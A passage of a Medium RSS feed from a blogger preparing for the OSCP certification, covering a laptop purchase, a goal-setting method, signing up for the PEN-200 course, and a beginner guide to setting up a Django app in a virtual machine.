href="https://www.apple.com/au/macbook-pro/">MacBook Pro</a></li><li><a href="https://www.lenovo.com/au/en/laptops/thinkpad/x1-series/X1-Carbon-G9/p/22TP2X1X1C9">Lenovo ThinkPad X1 Carbon Gen 9 14&quot; Laptop| Intel® Evo™11th Gen | Lenovo Australia</a></li><li><a href="https://www.asus.com/au/Laptops/For-Gaming/ROG-Republic-of-Gamers/filter?SubSeries=ROG-Strix">ROG Strix - All Models｜Laptops For Gaming｜ASUS Australia</a></li></ul><p>I then went to Twitter again…</p><h3>HackTheBridge on Twitter: &quot;I have $2000 - $2500 AUD for a laptop. Here&#39;s my top 3. Let me know what you think! Any other suggestions? Where to buy in Australia too? #hackers #hacking #gaming #computers #laptop #mac #windows #linux #Help #cybersecurity #infosec #M1 #Intel #Ryzen / Twitter&quot;</h3><p>I have $2000 - $2500 AUD for a laptop. Here&#39;s my top 3. Let me know what you think! Any other suggestions? Where to buy in Australia too? #hackers #hacking #gaming #computers #laptop #mac #windows #linux #Help #cybersecurity #infosec #M1 #Intel #Ryzen</p><p>This poll confirmed a few things for me. Having had some hot tips from friends and family as well as the friendly folk on Twitter reaching out, the MacBook Pro was the winner. With the hype of the processing power of the M1 chip for the MacBook Pro series and the sleekness of the design it beat the ThinkPad X1 for me. The outcast of the group was the Asus laptop however, personally, this was the one I was swayed towards the most due to the opportunities for gaming, the large memory and storage and the awesome graphics card. The Asus is also the cheapest of the three so it was a hard choice not to go for this one. However, I had to give myself a reality check and realised that, with a 2 year old, full time job and trying to complete this course in 6 months, I don’t really have any time for gaming.</p><p>Finally I went to the local Apple Shop to check out the different types of MacBooks. After discussing with the Apple Genius for quite some time I decided that the MacBook Air might not cut it for me as I really wanted to find a laptop that is going to be a bit more robust and longer lasting. There were no MacBook Pro 14&quot; in the country at the time so I purchased the new MacBook Pro 16&quot;. It is a bit more out of my budget but I love it! No more squinting at a small tablet screen and can quite easily work with split screen to run two windows at a time which I have found is VERY important with the OSCP course material! Especially when having to write notes. The CPU loading for whilst running multiple VMs is amazing! Having said this I don’t have anything to compare this too but it definitely doesn’t seem to be struggling!</p><p>There is one other thing to consider if purchasing a MacBook with the M1 chip is that some popular software is currently incompatible with the M1 chip. From what I have discovered there is currently no M1 compatible VirtualBox or VMWare (please correct me if I’m wrong). Offensive Security recommend that you use one of the versions of VMWare to run Kali Linux as they are more easily able to troubleshoot if something goes wrong. This is not something I took into account when buying the laptop so would definitely require some further research before jumping in like I did! However, I am now using a program called Parallels which is working really well and even has the most up to date Kali Linux version within the list of default operating systems. This made it extremely easy to download and install. So far I haven’t had any issues with the course content being able to run properly using Parallels for the virtual machine. I will continue to update my progress with this and any issues that I encounter on the way.</p><p>I have also recently bought a new stand up desk for our apartment so I can start working from home and not ruin my body in the process (I’m sat on the sofa writing this right now…). It is a game changer. If you haven’t got a stand up desk… go and get one! We got ours from IKEA and it is an electric powered desk so you can sit and stand. Here’s the link if you’re interested…</p><p><a href="https://www.ikea.com/au/en/p/bekant-desk-sit-stand-white-s09222577/">BEKANT Desk sit/stand, white, 160x80 cm - IKEA</a></p><p>Anyway, I just thought I’d share the recent news with my set up. I’m not sure if that is helpful at all but please let me know! I have been slack recently and will definitely be writing some more posts about my progress through the OSCP Fundamentals Course as I have now finished it!</p><p>If you have made it down to here please, hit the clap button, comment and follow me if you haven’t already to join me on my journey to OSCP Certification.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d38b38dfd99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Goal Set Like a Pro — Part 2]]></title>
            <link>https://medium.com/@HackTheBridge/my-goal-setting-method-part-2-4e25580d6935?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e25580d6935</guid>
            <category><![CDATA[goal-setting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[goals]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Tue, 08 Feb 2022 01:07:34 GMT</pubDate>
            <atom:updated>2022-06-14T12:50:48.311Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AXMPt74Gml90IZe80kENBQ.png" /></figure><h3>How to Goal Set Like a Pro — Part 2</h3><p>Thanks for coming back for Part 2 of my goal setting method! I know some of you are following along so if that is you, you should have had a read through <a href="https://medium.com/@HackTheBridge/my-goal-setting-method-part-1-9970fe1ac964">Part 1</a> and completed or started noting down your BHAGs, Next Chapter Goals and Yearly Goals.</p><p>Now that we have covered the longer term goals it is time to break these down further into monthly, weekly and daily goals. This is how you can start progressing, incrementally, towards your bigger goals!</p><h3><strong>Monthly Goal Setting</strong></h3><p>I split my monthly goals up in to 5 different categories: Personal, Financial, Career, Family and Health. I do this to create balance in goal setting otherwise a lot of goals can focus on career or finance and we can forget about setting goals for our own personal development, family connection and health and wellbeing. This is the template I follow (including the goals set from Step 1)…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*X4mrpoyyOGuu0XwxX7eF1g.jpeg" /></figure><p>This is an example of how I would fill this out…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*oO8Rzq_0oIdjgPvUBSGa-A.jpeg" /></figure><h4>Personal Goals — Goals for your own enjoyment</h4><p>These are goals based on things you would love to do for yourself. One of my goals for last year was to start learning guitar and just writing that goal down helped me so much. Each month I would choose a technique, genre or song that I would like to play which helped me improve very quickly! I would definitely keep these goals to be more hobby based.</p><h4><strong>Financial Goals — Goals for the bank account</strong></h4><p>This is where you will set money oriented goals. This could include budgeting, savings, financial themed books to read, asking for a pay rise or setting share portfolio goals. Last year, each month we would have a no spend week where we would not spend any money on things we didn’t need such as coffees, take away and unnecessary groceries. This in turn helped us hit our other savings goals! You could also include side hustle goals here too! Unless you’re planning on making your side hustle your eventual career in which case you’d use the next category…</p><h4><strong>Career Goals — Setting goals for your career.</strong></h4><p>This category does mix into financial a little but it is important to keep the two separate as much as possible. These goals are used to identify areas in your current career that you wish to achieve this month. It can also be used if you’re planning on starting a new job or changing industries completely! I use this category to improve my efficiency at work by outlining tasks that must be completed this month.</p><h4>Family Goals — Setting goals for relationships</h4><p>I use this category to set goals to build upon my relationships with my friends and family. I will often add goals to call a list of people this month. Living so far from the UK, this has been really important for me so I can stay connected with folks back home! This is also a great opportunity to connect with my partner and set goals that we can both enjoy together as too often we’re caught up in work and everyday life that it’s important to reconnect and have our time.</p><h4><strong>Health Goals — Setting goals for you and your family’s wellbeing</strong></h4><p>I use these goals as reminders to sort specific medical things out or to book important doctors appointments. I also use this to set goals on exercise and hobbies such as skateboarding and climbing. Last year having these goals helped me improve climbing to reach my personal best!</p><h3>Weekly Goal Setting</h3><p>Now that you have written out the monthly goals you can begin to break these down into weekly goals! Once again getting into the nitty gritty of your larger goals. Using the template below, I aim to split up the monthly goals into 2–4 parts to be able to spread out tasks throughout the month. For example: Booking Tickets to UK would include: Week 1 - Figure out the best and cheapest flights, Week 2 - Ask my boss for the time off, Week 3 -Book Flights, Week 4- Organise transport to and from airport. This is just an example of how one monthly goal might be split into weekly goals to spread out the work load. This is important to do as you will most likely have a lot of goals and a lot of moving parts that it is so important to break up so it is achievable. If a goal is unrealistic then this process will not work. Your BHAGs are there for your ambitious goals. Your weekly goals need to be much more simple and rational.</p><p>Once again I split mine up into the 5 categories from the monthly goals and try to achieve 1–2 goals for each category per week. You may be able to do more than this but from my experience you can end up getting lost and end up achieving less. The main point of this is to have achievable goals that make you feel satisfied and accomplished once you cross them off your list. One of the most powerful things for me is when I cross something off a list. I’m not sure what chemicals are released in my brain but it feels great to cross something off a list! The more you can get this feeling the more likely you will be to stick at this! If you constantly not hitting goals, you simply won’t be doing this for long.</p><p>Here’s my template with examples of weekly goals…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*sMoBuQx7GYWonkzstmJJsw.jpeg" /></figure><p>It can also be useful to put a day of the week against your weekly goals so you know what days you want to complete them but for this example I have not. I will usually write my weekly goals on a Monday morning so I am ready for the week ahead. Picking a day to do this is extremely important so you make a habit of setting goals regularly.</p><h3>Daily Goals and the Ivy Lee Method</h3><p>The daily goals template is used to filter and schedule my weekly goals as I go through the week. Daily goals can vary a lot more than other goals as it really depends on the job you have, how much time you have, how different one day is to another, how big the goal is. An example of one of my daily goals last year was as simple as “Google: How to grow a mango tree from seed”. They can be that small! Before you know it you have completed a goal and suddenly your house is covered in sandwich bags filled with germinating mango seeds wrapped in wet kitchen roll! Anyway… the more specific and granulised a goal can be, more likely you are of achieving it.</p><p>This is where you will need to find a way that works for you. One very useful trick is to choose the goal/task you least want to do or you have been putting off and doing it first — otherwise known as eating the frog! I schedule in 15 minutes at the end of each day (you could do the start if preferred!) to write down the 6 most important things I need to do tomorrow (or today) in order of either importance or froggy-ness. This is known as the Ivy Lee Method. It’s a way to make sure that all of the important tasks that you need to complete are finished. I combine this method with morning power hours where I aim to complete (if possible) all of the largest tasks as efficiently as possible attempting to minimise distractions and interruptions (…easier said than done, I know). Another thing to consider is that when setting goals you give yourself a reasonable time to complete it. This takes a little practice to gauge goal timeframes however it is important so that you don’t over shoot on one goal and disregard the goal or task that you were supposed to be doing next. If you find yourself constantly running overtime then you’ll just need to set longer periods for goals or try to break these goals down even further.</p><p>My daily goal schedule template looks like this…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*69i-UlmGTjhoXM01PbpUxQ.jpeg" /></figure><p>Your schedule will look a lot different to this and it’s great to just experiment at first to see what works for you! Start by adding your repetitive/ recurring tasks such as wake up time, start work, break, lunch, Ivy Lee Method etc etc. You then find the time you want to put the 6 important task into the planner. I have missed off the book flights from the schedule as I have already done this so please don’t roast me in the comments!</p><p>I think that is about it! If you have any questions please get in touch! Once again thank you so much for reading until the end, I hope that this has been helpful. I really appreciate the support and if you liked it please hit that clap button as many times as you like, follow me on Medium and on twitter @HackTheBridge and subscribe for more! If you do use this method I would love to hear your feedback on how it has been working for you and how you have made it work for you!</p><p>Happy Goal Setting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e25580d6935" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Goal Set Like a Pro — Part 1]]></title>
            <link>https://medium.com/@HackTheBridge/my-goal-setting-method-part-1-9970fe1ac964?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9970fe1ac964</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[goals]]></category>
            <category><![CDATA[goal-setting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 06:18:51 GMT</pubDate>
            <atom:updated>2022-03-15T02:52:33.860Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnBtePZONN7u5GkUNQoZLQ.png" /></figure><h3>How to Goal Set like A Pro— Part 1</h3><p>It’s that time of year again… Time to set my goals for 2022! I’m already running late on setting goals so not the best start to the year! I would’ve liked to have set goals by the end of last year but with moving house and all the craziness that was in our life at the end of 2021 it has had to wait until now.</p><p>Now with the excuses out of the way, I want to share my method to setting goals and provide the templates that I use and hope that at least one person might find them useful. I only started using this method this time last year and the results were amazing.</p><p>A quick review of My 2021: I started playing guitar and now own my own guitar and can play more than just Seven Nation Army on repeat. I climbed the hardest climb I’ve ever climbed. I learnt how to lead climb outdoors. We were very close to our goal of getting our savings up to $50,000 however have now invested a lot of this in our own self development in the aim to set ourselves up to be able to earn even more in the future. I completed the <a href="https://profitful.online/">Profitful</a> investing course and have now begun my journey into investing and learning about the stock market. We managed to visit family in NZ in July in between lockdowns. We moved house and have started renting a property close to the beach and we love it! Exotic mushroom growing was a bit of a fail but I have learnt a lot about how to (or how not to) grow edible mushrooms in the process. All-in-all a very productive year for me and I believe it was all down to goal setting.</p><h3>My Method</h3><p>The goal setting method I have developed over the year has definitely been a case of trial and error and has evolved to work for me. It might not work for everyone but I hope that someone finds it useful. The main principal is breakdown your largest goals into manageable chunks. The more granular and detailed you can be the better.</p><p><strong>Step 1: Big Hairy Audacious Goals (BHAGs).</strong></p><p>First you need to write down your BHAGs. These are goals or even dreams that you would love to achieve yet seem so out of reach that you have no idea how you’re going to achieve them. As long as they are not literally impossible to achieve then you can set them as your BHAGs. See my 2022 BHAGs below for your reference on how I have set mine. Looking at them now, maybe they cold even be a little more ambitious but lets continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*E-L048LzVVx3RV2RC5tgCA.png" /><figcaption>My BHAGs.</figcaption></figure><p>These are the goals that drive the rest of the goal setting process so I would recommend spending sometime thinking these through and don’t limit your possibilities. Your BHAGs shouldn’t be changing from year to year however if you have a new dream then make sure to update it!</p><p><strong>Step 2: Set your “Next Chapter Goals”.</strong></p><p>Some people like to call these life goals or long term goals however I think a chapter better describes the timeframe. The Next Chapter Goals cover a period of 6 years. This is because the world can change a huge amount in 6 years that setting goals for 10, 15 or even 20 years is too uncertain. Technology is a huge driver for this change and means that we need to keep adjusting our goals over a more stable timeframe. Who would have thought 10 years ago that the largest transport provider would own no cars, the largest travel accommodation company would own no properties and the largest retail company would own no shops! Not to mention the chaos caused by the pandemic! So I just stick to 6 years. This doesn’t need to be a goal for each year however it is always good to try to set some time limits on these goals. The number 6 is also a factor of 12 so helps when setting your yearly goals but we’ll come to that soon…</p><p>I have set my Next Chapter Goals based off my BHAGs in the attempt to always work towards and get that little bit closer to them as the years go on. The aim is to incrementally level up year on year to get closer to my big goals!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*T7UrBR3i77oGsEvPNEnBtQ.png" /><figcaption>My Next Chapter Goals</figcaption></figure><p>I have reset some of my Next Chapter goals as they have changed since I set them last year. I believe it is important to review my goals as my priorities and motivations change. I have divided these goals up into years I aim to achieve them by. I use these as guidelines to help prioritise my yearly goals.</p><p><strong>Step 3: Set your Yearly Goals</strong></p><p>These are the goals you aim to achieve this year to get a little closer to your Next Chapter Goals (and a tiny bit closer to your BHAGs). I like to choose 12 goals that I would like to achieve before the end of the year. These goals aren’t necessarily set for specific months (although you could!) but just enough to push yourself. This also helps to get more granular with your goals as you can set multiple goals for each of your Next Chapter goals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*DgjzETG26XwQ3H-euGKwHQ.png" /><figcaption>This Years Goals!</figcaption></figure><p>This year I feel I have a lot of ambitious goals and some of which are going to be hard to reach! But I learnt from last year:</p><blockquote><em>“Sometimes when you aim for the stars, you hit the moon” — </em>Ian Holloway</blockquote><p>This is such a great way to look at goal setting. Even if you don’t hit the goals, you will have gotten a lot closer through trying and sometimes you might even surprise yourself!</p><p>You can start to see how the goals are starting to be broken down into more manageable chunks as we go through the process. This detail only gets greater as we progress to monthly, weekly and daily goals. I think this is enough for this post as there is a lot of to be done to plan these first larger goals. Part 2 will include goal setting for monthly, weekly and daily goals where we get even more granular!</p><p>Thanks so much for reading to the end! It would be awesome if you could help me reach my Medium and Twitter follower goals and hit the follow button and clap like crazy! I really hope you have enjoyed by blog posts so far and come back for Part 2 of goal setting. Please let me know your thoughts!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9970fe1ac964" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning How To Ethical Hack: Step 4 — Sign up for PEN-200 OSCP Certification Course]]></title>
            <link>https://medium.com/@HackTheBridge/learning-how-to-ethical-hack-step-4-sign-up-for-pen-200-oscp-certification-course-193ea1f507d3?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/193ea1f507d3</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[learn-to-code]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Tue, 11 Jan 2022 23:21:52 GMT</pubDate>
            <atom:updated>2022-02-18T04:50:30.542Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ucxugihTM3MwJVKkwx1Paw.png" /></figure><h3>Learning How To Ethical Hack: Step 4 — Sign up for PEN-200 OSCP Certification Course</h3><p>It’s been a while since the last post due to having some well needed time with family over Christmas! Before signing off from 2021 I took the plunge and signed up for the PEN-200 course by Offensive Security! There was a sale on for $500 USD off the normal price so thought it was the perfect opportunity to sign up. This has really started the timer ticking! With the sign up of $2800 AUD for just 1 year access as well as the recent purchase of a MacBook Pro $3700 AUD*, the reality that this is happening is starting to kick in and, honestly, I am a little anxious and also very excited, motivated and determined!</p><blockquote>*I do not mean to boast about how much money this is as I understand that this is a LOT of money to spend however I have just realised that this is the most money I have ever spent on my own self development and that discovery itself has been bitter sweet! On the one hand I am proud to be in a position to be able to do this even it meant taking money from our home deposit savings account; Yet, on the other hand, the fact that I am almost 30 and have not spent more than a few hundred dollars on my own development in the past is a little depressing! I have, for most of my life, always seen using my money as spending it rather than investing it. Time for that mentality to change!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7__bm3nZXz0j64CdYseCA.png" /><figcaption><strong>My registration confirmation email from Offensive Security!</strong></figcaption></figure><p>Once all of the process of signing up and confirming emails (I tried to use a encryption service however I haven’t figured that out yet! Any tips please let me know!) and sending ID etc was complete I can now access the OffSec Portal. I haven’t even scratched the surface of information available in the Portal. My first stop within the portal has been the Fundamentals tab PEN-100 course which has been such a great resource to bring together all of the things I have done so far and much more! I am very happy that I touched on the basics set out in Steps 1, 2 and 3 as these came in useful straight away.</p><p>There is some prerequisite before being able to start this course which includes downloading VMWare (or VirtualBox but I haven’t tried this with Kali Linux yet) and create a VM to run Kali Linux. I first did this using Microsoft OS which allowed me to download <a href="https://www.vmware.com/au/products/workstation-player/workstation-player-evaluation.html">VMWare Workstation Player</a> and then download <a href="https://help.offensive-security.com/hc/en-us/articles/360049796792-Kali-Linux-Virtual-Machine">Kali Linux VM directly from Offensive Security</a> and follow the directions. There is the option on the Portal to use an in-browser version of Kali which doesn’t require VMWare — I have changed to this at this stage as I believe that the MacOS VMWare Workstation Player requires you to purchase a subscription — I have already spent enough money and the the in-browser version seems to work just fine! There are step by step guides of how to connect to the VPN within the fundamentals course so check that out for more info!</p><p>Each module includes many hours worth (10+ hours for some sections) of reading, capture the flag challenges and quizzes. This has been the most exciting part of my journey so far as there is an tiny air of secrecy that helps me imagine what advanced hacking must be like and this is just the beginning!</p><p>I am only just getting through the first part of this course and this is all just prerequisite to the PEN-200 course which is even more information again at a much higher level! It is a great practical resource for someone like me who has no experience yet is broken down into an easy to understand format with capture the flag challenges at the end of most subcategory to test what you have learnt. It took me a while to get used to these challenges as you will read through the tutorials and then when you get to the capture the flag games it requires information and commands or options that were not covered in the tutorial. I thought I was missing something however I believe it is an overarching lesson to teach you how to research externally and figure out for yourself. It is a really cool concept and teaches you to explore the terminal and Google to try to find what you think you need to do. I think this is also used to show the reality of being a hacker or coder where you won’t always know exactly what commands or options you need, and that’s ok!</p><p>To conclude with this post, signing up for the PEN-200 course has been money well spent as the topics, information, layout and entry level capture the flag games would require a lot of youtube-ing, googling and most importantly time to be able to achieve the same results. It is fantastic to have all of this information in one place and definitely a great next step in my journey so far. I’m really excited to continue getting through this course. I have set the date of 1st July 2022 to take my exam so the countdown really is on!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXRnClilAFtSvhE3A_e2og.png" /></figure><p>As always if you have any questions please send them through to me and I’ll be happy to help where I can! Let me know if you have any ideas of what I should post as I go!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=193ea1f507d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginner’s Guide to Virtual Machines and Web Applications]]></title>
            <link>https://systemweakness.com/learning-how-to-ethical-hack-step-3-creating-a-web-application-using-a-virtual-machine-bf7f5fd8d4d2?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf7f5fd8d4d2</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[ubuntu]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 22:02:43 GMT</pubDate>
            <atom:updated>2022-03-15T02:30:10.535Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhrLudm9z1zh6RMMvYGz2Q.png" /></figure><h3>Beginner’s guide to virtual machines and web applications.</h3><p><em>In this guide you’ll learn how to create a simple Django web application using VS Code on Ubuntu within a virtual machine through VirtualBox.</em></p><h3><strong>Why do I think this is important?</strong></h3><p>This is my first glimpse into what a website is and how it works from the backend point of view. This step combined the skills I learnt in the first step (<a href="https://systemweakness.com/learning-how-to-ethical-hack-step-1-learn-python-eb77cd8c877a">Learn Python</a>) with the knowledge I learnt in the second step (<a href="https://medium.com/system-weakness/learning-how-to-ethical-hack-step-2-networking-fundamentals-3261584241ca">Networking Fundamentals</a>) to help to easily follow the step by step guides (links below) and provide a low level of understanding about what the commands were doing and what a virtual machine is. &lt;enter_subtle_segue_here&gt;</p><p><strong>What is a Virtual Machine?</strong></p><p>A Virtual Machine (VM)= the Matrix. Machines within a machine that are completely unaware that they are not the original machine! A VM has it’s own MAC address and IP address completely separate from the host machine and I believe, that because of this separation, it adds a layer of safety to the host OS as it is extremely difficult (if not impossible) to access the host machine. VMs can be used to run different operating systems as well as providing a sandbox type environment for app development that isn’t going to wreck your host OS. Check out this great video (and beard) that helped me understand virtual machines:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FwX75Z-4MEoM%3Fstart%3D33%26feature%3Doembed%26start%3D33&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DwX75Z-4MEoM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FwX75Z-4MEoM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/90277bfebec956f2e47378b76893a291/href">https://medium.com/media/90277bfebec956f2e47378b76893a291/href</a></iframe><p><strong>What is a Web Application?</strong></p><p>I was asking myself the same question! Thankfully we have Wikipedia to help:</p><blockquote>“A <strong>web application</strong> (or <strong>web app</strong>) is application software that runs on a web server, unlike computer-based software programs that are run locally on the operating system (OS) of the device. Web applications are accessed by the user through a web browser with an active network connection.</blockquote><blockquote>Source: <a href="https://en.wikipedia.org/wiki/Web_application">https://en.wikipedia.org/wiki/Web_application</a></blockquote><p>Correct me if I’m wrong, a ‘web app’ is an interactive website where the user can enter and edit content within the webpage whereas a ‘website’ is a page that is essentially “read-only” where the user is unable to edit the content.</p><h3><strong>Creating my first Web App</strong></h3><p>In this section I am not going pretend I know what I’m talking about and present a start to finish guide or go into too much detail about how to do each step as there are so many great resources online that can explain this much better than I can! My main goal is to show you the videos and resources that I used to successfully create a Django web app.</p><p><strong>Step 1: Setting up a Virtual Machine and Installing Ubuntu.</strong></p><p>For this step I used <a href="https://www.virtualbox.org/wiki/Downloads">VirtualBox</a> as the preferred hypervisor to create my VM and <a href="https://ubuntu.com/download/desktop">Ubuntu</a> for the OS. Ubuntu is an open source Linux OS. You can also skip ahead to Step 3 if you are just wanting to run from your host OS and the next steps should work however it may be useful to start to learn Linux now if you don’t already know it.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FHzji7w882OY%3Fstart%3D296%26feature%3Doembed%26start%3D296&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DHzji7w882OY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FHzji7w882OY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2f2f9c757fc54056cbdfcdae679e0cc1/href">https://medium.com/media/2f2f9c757fc54056cbdfcdae679e0cc1/href</a></iframe><p>I have completed this set up on both Mac OS and Windows OS and it’s pretty much exactly the same. As long as you can locate the .iso file for Ubuntu, you’ll be fine!</p><p><strong>Step 2: Introduction to Linux and Basic Linux Commands for Beginners.</strong></p><p>Once I had installed Ubuntu successfully, it was time to learn the basic Linux commands that I would need to navigate through Ubuntu directories (files).</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIVquJh3DXUA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIVquJh3DXUA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIVquJh3DXUA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d2c2a4507807b3a59c50868d13d5db48/href">https://medium.com/media/d2c2a4507807b3a59c50868d13d5db48/href</a></iframe><p><strong>Step 3: Installing Visual Studio Code.</strong></p><p><a href="https://code.visualstudio.com/docs/setup/linux">Install Visual Studio Code (VS Code)</a> onto your OS. I found that the only way that worked for me on Ubuntu was to go into applications and download it directly from there. Once VS Code has installed make sure you open the app and then go to extensions to install the Python extension.</p><p><strong>Step 4: Installing Python and Django on Ubuntu and creating a Web App.</strong></p><p>This step is much better explained by <a href="https://medium.com/u/f148c98b8f51">Visual Studio</a> themselves:</p><p><a href="https://code.visualstudio.com/docs/python/tutorial-django">https://code.visualstudio.com/docs/python/tutorial-django</a></p><p>The thing I found useful with this walkthrough guide and the reason I want to recommend it is because it includes the instructions for Mac, Windows and Linux and it has worked for me on all 3 of them. I have completed up to “Create a Debugger launch profile” and at time of writing haven’t yet completed the entire walkthrough as I felt getting to the point of being able to write “Hello, World!” on a web app was an accomplishment enough in itself! I also began to get some scary error messages and didn’t want to mess it all up before writing this post. I will continue the instructions at a later date.</p><p><strong>This is my first “Hello, World” in a Django Web App within a VM!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cT2DgXI54delh6VT4IF6GA.jpeg" /></figure><p>Feel free to complete the VS Code walkthrough to the end if you’re following along! I’d love to hear how you go with it!</p><p>There you have it, my first web app with a backend development environment set up in VS Code using virtual environments and virtual machines. I’m pretty stoked with this lesson as it felt like an accomplishment to set it up each step correctly! I had a lot of trouble with error messages on all 3 operating systems but I believe this was because I wasn’t setting up the virtual environments properly to begin with as I hadn’t yet found this resource and was trying to flick between two different guides which got really confusing and messy.</p><p>The point of this lesson was to get an idea of what the very basics of backend web applications are to help show what information on a web app actually looks like as code and some of the functions that operate behind the scenes.</p><h3>What’s Next? — Hacking!</h3><p>Next on my list is to actually start learning about hacking! I have just paid for Learn One subscription for the OSCP Certification course and will soon have access to a lot of information to start sinking my teeth into!</p><p>If you’ve made it all the way through this, firstly, Thank you! And secondly, I’d love to hear your feedback! Whether you’ve followed along or have any comments on the blog itself, I’d love to hear from you! If you liked this post give it a clap or two and follow me for more in this series and also on Twitter @HackTheBridge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf7f5fd8d4d2" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/learning-how-to-ethical-hack-step-3-creating-a-web-application-using-a-virtual-machine-bf7f5fd8d4d2">Beginner’s Guide to Virtual Machines and Web Applications</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Introduction to Networking for Hackers.]]></title>
            <link>https://systemweakness.com/learning-how-to-ethical-hack-step-2-networking-fundamentals-3261584241ca?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3261584241ca</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Sun, 19 Dec 2021 22:02:38 GMT</pubDate>
            <atom:updated>2022-03-15T02:38:58.444Z</atom:updated>
